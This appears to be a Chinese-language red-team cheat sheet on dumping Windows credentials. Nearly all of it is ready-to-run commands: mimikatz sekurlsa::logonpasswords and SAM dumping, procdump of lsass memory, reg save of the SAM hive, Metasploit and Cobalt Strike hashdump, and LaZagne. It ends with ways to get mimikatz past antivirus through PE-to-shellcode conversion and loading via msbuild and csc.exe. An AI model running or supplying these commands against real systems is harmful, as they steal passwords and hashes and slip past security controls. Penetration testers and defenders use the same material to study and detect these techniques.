0x01 在线抓密码

(1)mimikatz

privilege::debug
token::whoami
token::elevate
lsadump::sam


mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"


(2)ps脚本

powershell -exec bypass
Import-Module .\Get-PassHashes.PS1
Get-PassHashes


(3)msf

run hashdump
hashdump
post/windows/gather/credentials/domain_hashdump(获取域hash)
use mimikatz
wdigest(明文)


(4)cs

hashdump
wdigest
logonpasswords(明文)

0x02 离线抓密码

(1)SAM(卷影副本、注册表)

reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
lsadump::sam /sam:sam.hiv /system:system.hiv (mimikatz)

(2)lsass.exe(注入lsass.exe进程,并从其内存中提取)

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"



(3)手工导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件

点击创建转储文件

红队抓密码总结_测试环境

0x03 其他工具

(1)Quarks PwDump
命令:

quarksPwDump.exe –dhl -o hash.txt


(2)WCE
命令:

wce.exe -w(抓取明文)、wce.exe –l(抓取hash)

(3)LaZagne

LaZagne windows


0x04 特殊环境

4.1 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译
参考三好学生链接为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本编译代码

C:\Windows\Microsoft.NET\Framework64\v3.5>csc.exe 1.cs /unsafe


导出凭据的命令:

1.

exe log "privilege::debug" "sekurlsa::logonPasswords full" exit


4.2 限制下载文件长度时导出凭据的方法

在c#文件中加载mimikatz的方法,实现以下功能:
下载地址1.获得lsass.exe进程的dmp文件并保存到temp目录2.从dmp文件导出凭据3.删除dmp文件很多实际情况环境对下载文件做了大小限制编译命令

C:\Windows\Microsoft.NET\Framework64\v3.5>csc.exe downloadmimikatz.cs /unsafe


然后直接执行exe

0x05 mimikatz bypass

1.PE to shellcode
下载地址

pe2shc.exe mimikatz.exe mimi.txt
runshc64.exe mimi.txt


这个方法不太行了

2.c#加载mimikatz

cscript mimikatz.js


3.白名单加载mimikatz

使用白名单程序msbuild进行进行加载xml文件

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe mimikatz.xml


4..net4.0加载mimikatz

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe executes-mimikatz.xml